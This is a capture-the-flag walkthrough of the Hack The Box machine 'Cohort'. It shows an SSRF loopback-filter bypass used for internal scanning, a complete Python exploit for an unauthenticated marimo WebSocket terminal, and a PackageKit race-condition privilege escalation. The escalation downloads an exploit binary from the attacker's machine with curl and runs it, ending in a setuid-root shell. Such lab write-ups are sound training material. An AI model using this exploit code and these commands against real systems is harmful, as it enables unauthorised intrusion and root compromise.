Summary

Hack The Box : Cohort Full Walkthrough ( Linux ; Very Easy ) Recon I started with the recon as usual , i did a quick port scan with rustscan rustscan -a <machine_ip> 3 ports are open, Port 22, 80 and 443. I pass them to nmap for a better scan with vuln scripts nmap -sV -sC -p22,80,443 <machine_ip> From the nmap result , we see the need to add cohort.htb to our host file , so we do echo “<machine_ip> cohort.htb” | sudo tee -a /etc/hosts The nmap output also shows something worth paying attention to: the TLS certificate on 443 has a Subject Alternative Name of *.cohort.htb — a wildcard. That’s a strong hint that other virtual hosts exist on this box beyond the one we already know about, so I kept that in the back of my mind going forward. Web Enumeration Hitting https://cohort.htb/ directly with curl doesn’t return much of value — just a shell of HTML. Opening it in a real browser tells a different story: the site is a Single Page Application called “Cohort Analytics”, and the actual page content, routing, and API calls are all handled client-side by a heavily obfuscated JS bundle (/assets/app.js ). Trying to statically reverse an obfuscated bundle is slow, so instead I opened DevTools (Network tab, “Preserve log” on) and just let the browser do the work of executing the JS for me, then watched what it actually did. Poking around the rendered app and trying a few likely paths, /portal.html turned out to exist ( after running curl against list of curated wordlist and checing the response ), a page titled “Client Insights” with a form description of “register and validate a report source URL”. That phrase, “validate a report source URL” , immediately reads like a feature that fetches a URL server-side, which is exactly the kind of functionality worth testing for SSRF. Submitting a test URL through the form while watching the Network tab shows the request shape clearly: POST /api/validate HTTP/1.1 Host: cohort.htb Content-Type: application/json {“url”:“http://test.com/log.csv”,“format”:“csv”} The endpoint takes a JSON body with a url and a format field, and server-side fetches whatever URL you give it. That confirms the theory: this is a URL-fetching feature, and now the question is whether it’s properly filtered. SSRF Exploit I started with testing to maybe get some loopback of internal services , so i sent this : curl -s -k -X POST https://cohort.htb/api/validate
-H “Content-Type: application/json”
-d ’{“url”:“http://127.0.0.1/”,“format”:“csv”}’ the response : {“ok”: false, “message”: “Internal or loopback addresses are not permitted.“} So there is a filter, and it’s explicitly rejecting internal/loopback addresses. The wording of the message (“not permitted”) suggests a blocklist-style check rather than a proper resolve-then-validate approach — which usually means it’s just string-matching against known forms like 127.0.0.1 or localhost , and can be bypassed with an alternate representation of the same address. Then I started trying some usual SSRF bypass formatting , which unexpectedly the first try worked I sent : curl -s -k -X POST https://cohort.htb/api/validate
-H “Content-Type: application/json”
-d ’{“url”:“http://127.1/”,“format”:“csv”}’ response: {“ok”: true, “fetched_status”: 200, “content_type”: “text/html”, “preview”: “…Cohort Analytics…”, “message”: “Source reachable.“} 127.1 resolves to 127.0.0.1 on Linux but doesn’t match the naive 127.0.0.1 string, so it sailed straight through the filter. That confirms the filter is bypassable, and more usefully the response includes a preview field that echoes back the fetched content. That gives us a read primitive into whatever internal services we can reach, not just a blind SSRF. Internal Port Scanning via SSRF With a working bypass, the next move is to use it as an internal port scanner by appending a port to the loopback address, i tried some ports , but this worked: curl -s -k -X POST https://cohort.htb/api/validate
-H “Content-Type: application/json”
-d ’{“url”:“http://127.1:5000/”,“format”:“csv”}’ {“ok”: true, “fetched_status”: 405, “content_type”: “application/json”, “preview”: ”{“ok”: false, “message”: “Method not allowed.”}”, “message”: “Source responded with an error status.“} Port 5000 is answering with JSON and rejecting GET — this looks like the same backend API framework as /api/validate itself, just also bound internally. so i went ahead and scan port 8888: curl -s -k -X POST https://cohort.htb/api/validate
-H “Content-Type: application/json”
-d ’{“url”:“http://127.1:8888/”,“format”:“csv”}’ {“ok”: true, “fetched_status”: 200, …, “preview”: “…marimo…<form method=“POST” action=“/auth/login”>…Access Token / Password…“} Port 8888 is a marimo notebook server, sitting behind a login page requiring an access token/password. marimo is a Python notebook tool, and notebook servers like this have historically had authentication issues around their WebSocket/terminal endpoints, so this became my primary target. Get Hibullahi AbdulAzeez’s stories in your inbox Join Medium for free to get updates from this writer. Before going after marimo directly, I wanted to see if there was more to find. Earlier directory fuzzing on the main site turned up /status returning a 403 — a common pattern for an Nginx status/config endpoint that’s ACL-restricted to 127.0.0.1 only. Since our SSRF requests originate from the server itself, routing through it should bypass that restriction: curl -s -k -X POST https://cohort.htb/api/validate
-H “Content-Type: application/json”
-d ’{“url”:“http://127.1/status”,“format”:“csv”} { “service”: “cohort-edge”, “status”: “ok”, “generated_by”: “nginx”, “upstreams”: [ {“name”: “marketing”, “host”: “cohort.htb”, “root”: “/var/www/cohort”}, {“name”: “insights-api”, “host”: “cohort.htb”, “path”: “/api/”, “target”: “127.0.0.1:5000”}, {“name”: “notebooks”, “host”: “nb-1be3782a8afd3ad5.cohort.htb”, “target”: “127.0.0.1:8888”, “note”: “internal analyst workspace, not for external use”} ] } This returned clean, fully readable JSON describing the site’s internal routing, this confirms the wildcard cert suspicion from the initial nmap scan , there’s a real hidden vhost, nb-1be3782a8afd3ad5.cohort.htb , explicitly proxying to the marimo instance on port 8888 and flagged as an “internal analyst workspace, not for external use”. Add it to /etc/hosts : echo “<machine_ip> nb-1be3782a8afd3ad5.cohort.htb” | sudo tee -a /etc/hosts Browsing to it directly confirms the same marimo login page we saw through the SSRF preview. Foothold: Marimo Pre-Auth RCE (CVE-2026–39987) marimo notebook servers expose a WebSocket endpoint at /terminal/ws that spawns an OS pseudoterminal for the notebook’s built-in terminal feature. The version running here is vulnerable to CVE-2026-39987, a pre-authentication bypass where the validate_auth() check that’s supposed to gate access is missing on the WebSocket route specifically — even though the regular HTTP login page enforces it. Any client that completes the WebSocket handshake gets a live, unauthenticated interactive shell. Standard Python WebSocket client libraries had trouble reliably driving this over TLS through the reverse proxy setup, so I wrote a small raw-socket script instead — manually performing the TLS handshake, the WebSocket upgrade request, and hand-rolling the frame masking/parsing needed to send commands and read output: import socket, ssl, base64, os, struct, time, select TARGET_IP = “<machine_ip>” HOST = “nb-1be3782a8afd3ad5.cohort.htb” PATH = “/terminal/ws” def connect(): raw = socket.create_connection((TARGET_IP, 443), timeout=5) ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE s = ctx.wrap_socket(raw, server_hostname=HOST) key = base64.b64encode(os.urandom(16)).decode() req = (f”GET {PATH} HTTP/1.1\r\nHost: {HOST}\r\nUpgrade: websocket\r\n” f”Connection: Upgrade\r\nSec-WebSocket-Key: {key}\r\n” f”Sec-WebSocket-Version: 13\r\nOrigin: https://{HOST}\r\n\r\n”) s.sendall(req.encode()) s.settimeout(5) resp = b"" while b”\r\n\r\n” not in resp: resp += s.recv(4096) print(”[+] Handshake response:”) print(resp.decode(errors=“replace”)) return s def send_text(s, text): payload = text.encode() mask = os.urandom(4) masked = bytes(b ^ mask[i % 4] for i, b in enumerate(payload)) length = len(payload) if length 125: header = struct.pack(“!BB”, 0x81, 0x80 | length) elif length 65535: header = struct.pack(“!BBH”, 0x81, 0x80 | 126, length) else: header = struct.pack(“!BBQ”, 0x81, 0x80 | 127, length) s.sendall(header + mask + masked) def recv_frames(s, duration=3): end = time.time() + duration buf = b"" out = b"" while time.time() < end: r, _, _ = select.select([s], [], [], 0.5) if r: try: chunk = s.recv(4096) except (socket.timeout, ssl.SSLWantReadError): continue if not chunk: break buf += chunk while len(buf) >= 2: b1 = buf[1] masked = b1 & 0x80 plen = b1 & 0x7F idx = 2 if plen == 126: if len(buf) < 4: break plen = struct.unpack(“!H”, buf[2:4])[0]; idx = 4 elif plen == 127: if len(buf) < 10: break plen = struct.unpack(“!Q”, buf[2:10])[0]; idx = 10 if masked: if len(buf) < idx + 4: break mask_key = buf[idx:idx+4]; idx += 4 else: mask_key = None if len(buf) < idx + plen: break payload = buf[idx:idx+plen] if mask_key: payload = bytes(c ^ mask_key[i % 4] for i, c in enumerate(payload)) out += payload buf = buf[idx+plen:] return out if name == “main”: import sys cmd = sys.argv[1] if len(sys.argv) > 1 else “id; whoami; hostname” s = connect() print(recv_frames(s, 3).decode(errors=“replace”)) send_text(s, cmd + “\r”) print(recv_frames(s, 4).decode(errors=“replace”)) save and run it : python3 marimo_exploit.py That’s unauthenticated code execution as marimo — no login token, no session, just a completed WebSocket handshake. This confirms validate_auth() genuinely isn’t being enforced on this route. User Flag python3 marimo_exploit.py “cat /home/marimo/user.txt” the user flag found Privilege Escalation: Pack2TheRoot (CVE-2026–41651) With a foothold as marimo , I went through the usual privesc checks. sudo -l prompts for a password we don’t have, and general enumeration shows the box is fairly hardened — no obvious writable cron jobs, no juicy SUID binaries beyond the standard set. What stood out instead was the installed package set: python3 marimo_exploit.py “dpkg -l | grep -i packagekit; which dpkg-deb; dbus-send —version” PackageKit 1.2.8 is present alongside dpkg-deb and D-Bus tooling. PackageKit versions from 1.0.2 up to 1.3.4 are affected by CVE-2026-41651, dubbed “Pack2TheRoot” , a time-of-check-to-time-of-use (TOCTOU) race condition in how the PackageKit daemon (which runs as root) handles D-Bus InstallFiles transactions. The daemon lets a caller open a transaction, submit an InstallFiles request with a SIMULATE flag to dry-run an install, and then because the transaction’s flags and file paths aren’t locked before the real execution phase reads them, a second InstallFiles call on the same transaction can overwrite those parameters before the simulated one finishes. The daemon ends up executing the real install (running the package’s maintainer scripts as root) instead of the harmless simulated one. A public PoC exists for this (shibaaa204/Pack2TheRoot on GitHub) with a precompiled exploit binary. The exploit builds two throwaway .deb packages locally — a harmless dummy, and a “payload” package whose postinst script copies /bin/bash to /tmp/.suid_bash with the setuid bit set — then fires the two racing D-Bus InstallFiles calls (SIMULATE against the dummy, immediately followed by a real install against the payload) and polls until the setuid binary appears. Transferring the exploit: on my attack machine, inside the directory containing the exploit : python3 -m http.server 8000 then i sent this to our target : python3 marimo_exploit.py “curl -s -o /tmp/exploit.bin http://<my_attack_machine_ip>:8000/exploit.bin && chmod +x /tmp/exploit.bin && ls -la /tmp/exploit.bin” Running the race: Since the exploit needs more time than a single request/response cycle to build packages and win the race, I backgrounded it on the target and gave it a moment before checking on it: python3 marimo_exploit.py “rm -f /tmp/.suid_bash /tmp/pk.log; nohup /tmp/exploit.bin > /tmp/pk.log 2>&1 & sleep 1; echo started” Then, after waiting: python3 marimo_exploit.py “cat /tmp/pk.log; echo ---; stat /tmp/.suid_bash 2>&1” The 4755 permissions with Uid: 0/root confirm the race won, /tmp/.suid_bash is a setuid-root copy of bash sitting on disk. The exploit’s own attempt to hand off to an interactive shell fails inside our non-interactive WebSocket pipe (no real TTY to attach to), but that doesn’t matter, the setuid binary is there, and we can invoke it ourselves. Root Flag python3 marimo_exploit.py “/tmp/.suid_bash -p -c ‘id; cat /root/root.txt’” The -p flag is important here, it tells bash to preserve the effective UID from the setuid bit rather than dropping privileges back to the real UID on startup, which is required for a setuid binary to actually hand you elevated access. You got the root flag too . Wholla Cohort is a good reminder that input filtering built on simple string-matching rarely holds up against the many equivalent ways to represent the same address, and that even a hardened application layer can be completely undone by a race condition sitting in a privileged system service underneath it.

By Hibullahi AbdulAzeez

Original Article